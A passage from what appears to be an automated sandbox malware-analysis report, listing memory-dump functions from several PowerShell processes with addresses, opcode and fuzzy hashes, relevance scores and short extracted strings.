Instruction Fuzzy Hash: CF51397681CF854FE7A1D75898557747BE0FF83320F0A81BAC05DCB693E928AC058B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D911C59, Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7a42f26831030bd6ebb52ccbaad23c0d2dc0db697fd66b5d54037f9d9a039da
Instruction ID: ba93b01a21da210b4a44ff3943e7d5df2b7a230da9a5e3bae2528c827f654997
Opcode Fuzzy Hash: a7a42f26831030bd6ebb52ccbaad23c0d2dc0db697fd66b5d54037f9d9a039da
Instruction Fuzzy Hash: 9E512A3190CE4A5FD304DB28D450AA5B7E1FF86330F45837EE05DD7292DE289945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9E4370, Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270981692.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63db85eb8472e27938011a0b147261cf9f654177c51b0a10f8bc186595aa70a3
Instruction ID: d4893daeeea92e0def0722e86d5c744308bd56ebc7a9f484cc00f1c371503a47
Opcode Fuzzy Hash: 63db85eb8472e27938011a0b147261cf9f654177c51b0a10f8bc186595aa70a3
Instruction Fuzzy Hash: 0E411126A0CF894FE7B9D7289411AB87BD1EF86330B0A41BAD05EC7583F918EC048781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D91749C, Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e406c993f168d0f40f7ad87599548506ec2a39b389f233aee826cbe0ad9ef8b0
Instruction ID: bafffe621c43161e202c7c7d133b4beacfb3a53c01a0e5d178ad90dabb389142
Opcode Fuzzy Hash: e406c993f168d0f40f7ad87599548506ec2a39b389f233aee826cbe0ad9ef8b0
Instruction Fuzzy Hash: F131957191CB4C8FDB18DB5C984A6A97BE0FBA9321F00421FE449D3651DA74A8558BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D916488, Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 022ad1126ae2b8b8b62fbda072aa620b684d4d15c125242a1bb7bf76d276d033
Instruction ID: 392d764cccb95a58d97292c3029dab4242a42a5264d0dadacd733cb5b4d4c7a4
Opcode Fuzzy Hash: 022ad1126ae2b8b8b62fbda072aa620b684d4d15c125242a1bb7bf76d276d033
Instruction Fuzzy Hash: E021D33161CA085FEB4CEA1CD8569B577D1EBAA320B10016EE44EC7252ED62FC83C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D917F4C, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c463e7cdf5a9bdf871f795d004b35c06e7542a28b51acbe37e40c6836cefb8c
Instruction ID: 636aa84e95b06057d408d66014ecfa1b29bb35cc428c94ac17366d0ef14b0cd6
Opcode Fuzzy Hash: 2c463e7cdf5a9bdf871f795d004b35c06e7542a28b51acbe37e40c6836cefb8c
Instruction Fuzzy Hash: EA21F73190CB488FDB59DBAC88496E97FE0EB96331F04416FD04CC3152D6745459CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9E4101, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270981692.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 562072424ee8d4af05a897fb100aa8d97ef70e6e2c9c4f77a2392ba8b7dc2a93
Instruction ID: 9fff0db4961b60cda270167ad2de82caf75449c4ae918cda5f81cf589a0a51b3
Opcode Fuzzy Hash: 562072424ee8d4af05a897fb100aa8d97ef70e6e2c9c4f77a2392ba8b7dc2a93
Instruction Fuzzy Hash: 0D11022AE1CE494FEBB5E71C54116B867D2EFA6320F1A40B9D12DC7693ED28EC048B45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9E43BC, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270981692.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96b4f5cef0afa003dc14acce42a5cb26f69da0cca3705091dbb0fa54ab9358b9
Instruction ID: 5188d7203d3310ec31dc395461f9a4a7cecaf6cb9d9721be9625a5a5ed9495bb
Opcode Fuzzy Hash: 96b4f5cef0afa003dc14acce42a5cb26f69da0cca3705091dbb0fa54ab9358b9
Instruction Fuzzy Hash: B311C63AE0DA494FE2B4D71894616B877D1EF46330B5A51BAD01DC7993E914EC044B91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D911775, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323329555bbe38d97816e0491843d58c06b3ab02358ebc656595907e008b882a
Instruction ID: 78504f64bd02d0c30ca21c748049f66660bc62e4ee039ec306e2de34ce34c29d
Opcode Fuzzy Hash: 323329555bbe38d97816e0491843d58c06b3ab02358ebc656595907e008b882a
Instruction Fuzzy Hash: E101677111CB0C4FD744EF0CE451AA6B7E0FB99364F10066EE59AC3651DA36E882CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D91A008, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 239508507d2939b06d77c6ca271c4d53ae044bdeec2c6cd18d70616edb8a0aac
Instruction ID: 53ce1f457156011b19c9e3ab95563f43fe8018947a80755d0b0bff45e0ec0351
Opcode Fuzzy Hash: 239508507d2939b06d77c6ca271c4d53ae044bdeec2c6cd18d70616edb8a0aac
Instruction Fuzzy Hash: B2F0373275CA054FDB4CAA1CF4429B573D1E79A330B00416EE48FC2696E917F8468685

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D917BC8, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89364301a60a2eca54b8fbb8e3196370d1fc13aa62f64a343e9306658c5e6d96
Instruction ID: 8ef342cdd813e3938a5efa94a5348264e3ce5dfd235ac9f5695d18a4c2729354
Opcode Fuzzy Hash: 89364301a60a2eca54b8fbb8e3196370d1fc13aa62f64a343e9306658c5e6d96
Instruction Fuzzy Hash: 63E09A35808A4C8F8F44EF28C8494E97BA0FF29311B0182AAE81DC7021DB31A958CBC2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFA1D911958, Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4532218f826e58e5288fdd06c47ccfe70b60c320028889c275e316b49a953810
Instruction ID: 68313897afc5842ec769d802e14e5f6e7f6ccc5ad00ff589efcb9af995292aae
Opcode Fuzzy Hash: 4532218f826e58e5288fdd06c47ccfe70b60c320028889c275e316b49a953810
Instruction Fuzzy Hash: 0CB12C75A1CE4A4FD328DB68D485671B7D0FF46330B15C7BEC0AEC7596EA25A842CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9182C3, Relevance: 5.1, Strings: 4, Instructions: 102COMMON

Download Yara Rule

Strings

`_^, xrefs: 00007FFA1D918279
`_^, xrefs: 00007FFA1D9182DA
`_^, xrefs: 00007FFA1D91831A
`_^, xrefs: 00007FFA1D9182BA

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID: `_^$`_^$`_^$`_^
API String ID: 0-4101248720
Opcode ID: fe2979414403bebac6fbcf622ea5631c4939e84e0fe4d073b651a057536eb99f
Instruction ID: e606db680ad159df875a8b798d6701d8c36efe4714bd5ac2ec44f2105d7e658c
Opcode Fuzzy Hash: fe2979414403bebac6fbcf622ea5631c4939e84e0fe4d073b651a057536eb99f
Instruction Fuzzy Hash: 33316E57A0CD8AAFD3025329A4510E97F54FF6333432A8076C0ED8715AFA6C780B8ED1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exe PID: 6708 Parent PID: 4596 powershell.exeCOMMON

Executed Functions

Function 00007FFA1D9E39E1, Relevance: 6.6, Strings: 4, Instructions: 1561COMMON

Download Yara Rule

Strings

g^u, xrefs: 00007FFA1D9E45FF
S_L, xrefs: 00007FFA1D9E3E74
@<Hq, xrefs: 00007FFA1D9E3F61
@<Hq, xrefs: 00007FFA1D9E3E4B

Memory Dump Source

Source File: 0000000A.00000002.306802782.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID: @<Hq$@<Hq$S_L$g^u
API String ID: 0-1426656712
Opcode ID: 22982bbde7a092e847f74357316f0e535f3af718c901af8f107ed528728638e8
Instruction ID: fe2a5c84f1c0ddc06fd1a64aaf8bb6e66e37f4aadf77046a1371ecfef6e5addb
Opcode Fuzzy Hash: 22982bbde7a092e847f74357316f0e535f3af718c901af8f107ed528728638e8
Instruction Fuzzy Hash: 08A26726A0DB894FE7A6972C48155B57FE1EF87320B0A81FBD05DCB5D3ED18AC058782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9EA980, Relevance: 1.7, Strings: 1, Instructions: 451COMMON

Download Yara Rule

Strings

@TDq, xrefs: 00007FFA1D9EAC57

Memory Dump Source

Source File: 0000000A.00000002.306802782.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID: @TDq
API String ID: 0-1660078822
Opcode ID: 13e07cc38b5bb2ca49e4fcd93177ae7ff314d740467bec480b473eac2e34d5a9
Instruction ID: d575ef10612302e0e412f90299e096dd4c0d13d81478d42ea7f994a18de93c08
Opcode Fuzzy Hash: 13e07cc38b5bb2ca49e4fcd93177ae7ff314d740467bec480b473eac2e34d5a9
Instruction Fuzzy Hash: 2CD1576690DBC90FE7A6A76848156B67FE1EF53320F0981FED05DCB4A3EA0C9805C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9E6AE5, Relevance: 1.7, Strings: 1, Instructions: 424COMMON

Download Yara Rule

Strings

@TDq, xrefs: 00007FFA1D9E6D27

Memory Dump Source

Source File: 0000000A.00000002.306802782.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID: @TDq
API String ID: 0-1660078822
Opcode ID: 0807835eae7236f888c0e149aea532b09be03bb357a4cae3a0b0a34a80824aae
Instruction ID: d841e3ba5bf9ba33f8ad08d011a23f0a0dc3ae5171e044e5d70f1482d66b782d
Opcode Fuzzy Hash: 0807835eae7236f888c0e149aea532b09be03bb357a4cae3a0b0a34a80824aae
Instruction Fuzzy Hash: E2C1757690CF894FE7B5EB2848159B5BFA0EF47320B1985BAD05DC70C3EA18A805CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9EB7A1, Relevance: 1.7, Strings: 1, Instructions: 422COMMON

Download Yara Rule

Strings

@TDq, xrefs: 00007FFA1D9EB9D7

Memory Dump Source

Source File: 0000000A.00000002.306802782.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID: @TDq
API String ID: 0-1660078822
Opcode ID: 2bfe8d567786c2da83984891ef180c8f548104256b6f3640a5126832a3ee0702
Instruction ID: 74cc679e0a4df8a0fff00aafab42eca6ab6c10dfea7e9137e086ed93050cede4
Opcode Fuzzy Hash: 2bfe8d567786c2da83984891ef180c8f548104256b6f3640a5126832a3ee0702
Instruction Fuzzy Hash: 22D1887690CF894FEBA5AB2888559B57BD0EF07328F0941FAD05DC7583ED18AC05CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D916178, Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

XO]u, xrefs: 00007FFA1D9163B7

Memory Dump Source

Source File: 0000000A.00000002.306658606.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID: XO]u
API String ID: 0-2067895302
Opcode ID: 1b856aaea622a6174e138b251e05b7d3884bd4fdc2e9e8496658f6b85c4439c0
Instruction ID: fcd2ca19969a51c6343b6394afe4b64add800f544208f2413ce60de990c80eaa
Opcode Fuzzy Hash: 1b856aaea622a6174e138b251e05b7d3884bd4fdc2e9e8496658f6b85c4439c0
Instruction Fuzzy Hash: BB91CC3150D7C64FD347973898655A17FF0EF5732070A42EBD089CB1A3EA586C4ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D919D27, Relevance: .7, Instructions: 740COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306658606.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8a854b656a350933727e7e97daa30b13c8d1c378bfd0d69e95fd1082e6b1ab3
Instruction ID: 9863aba7e7b28c95d4ab7fdcc80d4a74514d7dcd5c68766eb49f9a0315b1951d
Opcode Fuzzy Hash: a8a854b656a350933727e7e97daa30b13c8d1c378bfd0d69e95fd1082e6b1ab3
Instruction Fuzzy Hash: B4029031A18A4D8FDB88EF6CC485AAA7BF1FF59320F154169D40DD7296DA34EC42CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9186BC, Relevance: .5, Instructions: 523COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306658606.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c493437fa038b7b6ea1b88fa98b3d3ae1af16a5a77514e5ea6bf50bb071488
Instruction ID: 9502729b021b7d338afc32c8e6c972be86072fc4339cef826bffbeed13d86133
Opcode Fuzzy Hash: e9c493437fa038b7b6ea1b88fa98b3d3ae1af16a5a77514e5ea6bf50bb071488
Instruction Fuzzy Hash: 1202F430A08E4D8FDB84DF6CC495AA97BE1FF59320F1541ADD41DDB296DA38E842CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9E81BD, Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306802782.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04ac92bc86eb013e33c6c74d043577cfc55c97d4d92f99cbe81b9b3fd47d023d
Instruction ID: 5792b66a104575fd67a3d51f43ac726599a8025a20d466b74a77335f56c52ce9
Opcode Fuzzy Hash: 04ac92bc86eb013e33c6c74d043577cfc55c97d4d92f99cbe81b9b3fd47d023d
Instruction Fuzzy Hash: AED16A7580DB894FE76697689C155B57FE0EF83320F0A41FBD09CCB593EA18A806C792

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9E6BBA, Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306802782.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35149da5537625895d944a32310b1a923cf28bb3bb5825c8da730b47f0d4ac57
Instruction ID: 186fc146cf425e5496be34fe10bc3701584516dd2cf2a8a04ac3ce7f1e5f12ac
Opcode Fuzzy Hash: 35149da5537625895d944a32310b1a923cf28bb3bb5825c8da730b47f0d4ac57
Instruction Fuzzy Hash: 0351366690DE864FE7B6A75808515787BD1EF07320B9985FEC05DCB5C7ED08AC44CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9EB86A, Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306802782.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31b70519a73d98c6867bce8f3ae2511c8d15554ad02a661b5d16412ad9b3ac59
Instruction ID: e9379fbe5c81a203791a3b7be9e1764251d75a9b2ab2a3d9bf145faee199e3c8
Opcode Fuzzy Hash: 31b70519a73d98c6867bce8f3ae2511c8d15554ad02a661b5d16412ad9b3ac59
Instruction Fuzzy Hash: 9B51256A90DEC64FEBB6975884A15787BD1AF07328F5A80FAC05DC76C3ED189C048B61

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9EAAEA, Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306802782.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f0cb0a50a30dc51c85226cc6a88ca7b7adf2220feb7aea103723085bca736c4
Instruction ID: 80f5c51353b3ae6fe5cf14475eab72df38e5ce8b5297e897817b592cf38a1724
Opcode Fuzzy Hash: 9f0cb0a50a30dc51c85226cc6a88ca7b7adf2220feb7aea103723085bca736c4
Instruction Fuzzy Hash: BF51E36A91DE864FEBB6A768045157ABBD1AF13320F5E80FEC05DCB5E3E90C9C048B41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D91749C, Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306658606.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e406c993f168d0f40f7ad87599548506ec2a39b389f233aee826cbe0ad9ef8b0
Instruction ID: bafffe621c43161e202c7c7d133b4beacfb3a53c01a0e5d178ad90dabb389142
Opcode Fuzzy Hash: e406c993f168d0f40f7ad87599548506ec2a39b389f233aee826cbe0ad9ef8b0
Instruction Fuzzy Hash: F131957191CB4C8FDB18DB5C984A6A97BE0FBA9321F00421FE449D3651DA74A8558BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D916488, Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306658606.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 022ad1126ae2b8b8b62fbda072aa620b684d4d15c125242a1bb7bf76d276d033
Instruction ID: 392d764cccb95a58d97292c3029dab4242a42a5264d0dadacd733cb5b4d4c7a4
Opcode Fuzzy Hash: 022ad1126ae2b8b8b62fbda072aa620b684d4d15c125242a1bb7bf76d276d033
Instruction Fuzzy Hash: E021D33161CA085FEB4CEA1CD8569B577D1EBAA320B10016EE44EC7252ED62FC83C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D917F4C, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306658606.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c463e7cdf5a9bdf871f795d004b35c06e7542a28b51acbe37e40c6836cefb8c
Instruction ID: 636aa84e95b06057d408d66014ecfa1b29bb35cc428c94ac17366d0ef14b0cd6
Opcode Fuzzy Hash: 2c463e7cdf5a9bdf871f795d004b35c06e7542a28b51acbe37e40c6836cefb8c
Instruction Fuzzy Hash: EA21F73190CB488FDB59DBAC88496E97FE0EB96331F04416FD04CC3152D6745459CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9E40CF, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306802782.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8584fd6124c787a15953d167243088cb51dfc65e83050eefc8677cdd52b264d
Instruction ID: 66cad8b693418d78d5fd5b462a854dbda483d2a59f9c2a470646b8a280b05ab9
Opcode Fuzzy Hash: d8584fd6124c787a15953d167243088cb51dfc65e83050eefc8677cdd52b264d
Instruction Fuzzy Hash: 2B21282AD1DE464FEBB4C71C445127467D1EFA6331B5A80B9C12EC36D3ED18EC044A45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9E43BC, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306802782.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32087beef9ddb3c7e7f9f9885d054f7821e341b869e3297af099c6df6a735e42
Instruction ID: 125fc174ee3ed4c2ecd215b8d59d5b35cdda172850b860defb86de8ad810c703
Opcode Fuzzy Hash: 32087beef9ddb3c7e7f9f9885d054f7821e341b869e3297af099c6df6a735e42
Instruction Fuzzy Hash: 4011C63AE0DA494FE2B4D71854616B877D1EF46330B4A51BAD01EC7993E914EC044B91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D911775, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306658606.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323329555bbe38d97816e0491843d58c06b3ab02358ebc656595907e008b882a
Instruction ID: 78504f64bd02d0c30ca21c748049f66660bc62e4ee039ec306e2de34ce34c29d
Opcode Fuzzy Hash: 323329555bbe38d97816e0491843d58c06b3ab02358ebc656595907e008b882a
Instruction Fuzzy Hash: E101677111CB0C4FD744EF0CE451AA6B7E0FB99364F10066EE59AC3651DA36E882CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D917BA8, Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306658606.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d16badf771289c1e9f4395883aaca19f472294b74dff06251eaaa1a23ea28bc1
Instruction ID: 3312ae18ce2770b0d597ec74d2eac4c6a54d12aba32008de72e88d258c8acc1e
Opcode Fuzzy Hash: d16badf771289c1e9f4395883aaca19f472294b74dff06251eaaa1a23ea28bc1
Instruction Fuzzy Hash: 5CF0BB3085868A8FDB069F7488059D57BA0FF17321B0542A7E45DC71A1DB349558CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D91A008, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.306658606.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 239508507d2939b06d77c6ca271c4d53ae044bdeec2c6cd18d70616edb8a0aac
Instruction ID: 53ce1f457156011b19c9e3ab95563f43fe8018947a80755d0b0bff45e0ec0351
Opcode Fuzzy Hash: 239508507d2939b06d77c6ca271c4d53ae044bdeec2c6cd18d70616edb8a0aac
Instruction Fuzzy Hash: B2F0373275CA054FDB4CAA1CF4429B573D1E79A330B00416EE48FC2696E917F8468685

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFA1D9182C3, Relevance: 5.1, Strings: 4, Instructions: 102COMMON

Download Yara Rule

Strings

`_^, xrefs: 00007FFA1D91831A
`_^, xrefs: 00007FFA1D9182DA
`_^, xrefs: 00007FFA1D918279
`_^, xrefs: 00007FFA1D9182BA

Memory Dump Source

Source File: 0000000A.00000002.306658606.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID: `_^$`_^$`_^$`_^
API String ID: 0-4101248720
Opcode ID: fe2979414403bebac6fbcf622ea5631c4939e84e0fe4d073b651a057536eb99f
Instruction ID: e606db680ad159df875a8b798d6701d8c36efe4714bd5ac2ec44f2105d7e658c
Opcode Fuzzy Hash: fe2979414403bebac6fbcf622ea5631c4939e84e0fe4d073b651a057536eb99f
Instruction Fuzzy Hash: 33316E57A0CD8AAFD3025329A4510E97F54FF6333432A8076C0ED8715AFA6C780B8ED1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exe PID: 6464 Parent PID: 4596 powershell.exeCOMMON

Executed Functions

Function 00007FFA1D9D3CBB, Relevance: 6.2, Strings: 4, Instructions: 1225COMMON

Download Yara Rule

Strings

@<Hq, xrefs: 00007FFA1D9D3E4B
@<Hq, xrefs: 00007FFA1D9D3F61
T_L, xrefs: 00007FFA1D9D3E74
g^u, xrefs: 00007FFA1D9D45FF

Memory Dump Source

Source File: 00000013.00000002.358957469.00007FFA1D9D0000.00000040.00000001.sdmp, Offset: 00007FFA1D9D0000, based on PE: false

Similarity

API ID:
String ID: @<Hq$@<Hq$T_L$g^u
API String ID: 0-3084195505
Opcode ID: ca9058fc4f320bd6d5059cbb76f01af0b53bdb3f89eb309d1c63eb42b6976f76
Instruction ID: 5dc6dfdb9022ade4dcce04de8d626b3365fa31e1b8f5109735e6a26bfe95b3d5
Opcode Fuzzy Hash: ca9058fc4f320bd6d5059cbb76f01af0b53bdb3f89eb309d1c63eb42b6976f76
Instruction Fuzzy Hash: 62725526A0DF890FE796872C48155B47FE1EF97324B0A41FAD09DCB5D3ED18AC068792

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9D6CE3, Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

@TDq, xrefs: 00007FFA1D9D6D27

Memory Dump Source

Source File: 00000013.00000002.358957469.00007FFA1D9D0000.00000040.00000001.sdmp, Offset: 00007FFA1D9D0000, based on PE: false

Similarity

API ID:
String ID: @TDq
API String ID: 0-1660078822
Opcode ID: 9d9f15ab94bb31488b0c010e3c3a55cb760f618ef76a3626883d9631ee08db92
Instruction ID: dd7893b942b0472fdb91824b63786594b57ee6a3a44d2503f30b4d3e65da02ce
Opcode Fuzzy Hash: 9d9f15ab94bb31488b0c010e3c3a55cb760f618ef76a3626883d9631ee08db92
Instruction Fuzzy Hash: EA115362A0CE8D4FE785D78858419B8BF91EF1A324B1881BEC80DCB583DE14A801CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D919BA3, Relevance: .7, Instructions: 726COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.358796708.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbf7036d193ba59b41d4f8c1ce83c817cec857aca781f9edaed04abfdd154f55
Instruction ID: 3b85ff89ebf13bddcfaf92f858ce62be7b2d5ddcfb2257bb37782c7e4590fc45
Opcode Fuzzy Hash: bbf7036d193ba59b41d4f8c1ce83c817cec857aca781f9edaed04abfdd154f55
Instruction Fuzzy Hash: C1F1C231A18A4D8FDB88DF6CC485AA97BE1FF59320F15816DD40DD7296DA34EC42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9D81BD, Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.358957469.00007FFA1D9D0000.00000040.00000001.sdmp, Offset: 00007FFA1D9D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a635cc5567fca4742abfd8656954ef402a345c16d9ea3d15f879166d135000c
Instruction ID: 55b6761ee9aa4dcf123d896a1f499054ae50c4329f7e93d7e080b17e5ae45aad
Opcode Fuzzy Hash: 2a635cc5567fca4742abfd8656954ef402a345c16d9ea3d15f879166d135000c
Instruction Fuzzy Hash: 85D1447580DFC95FE756972898156B57FA0EF43334B0A41FBD08CCB493EA18A80AC792

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D91749C, Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.358796708.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e406c993f168d0f40f7ad87599548506ec2a39b389f233aee826cbe0ad9ef8b0
Instruction ID: bafffe621c43161e202c7c7d133b4beacfb3a53c01a0e5d178ad90dabb389142
Opcode Fuzzy Hash: e406c993f168d0f40f7ad87599548506ec2a39b389f233aee826cbe0ad9ef8b0
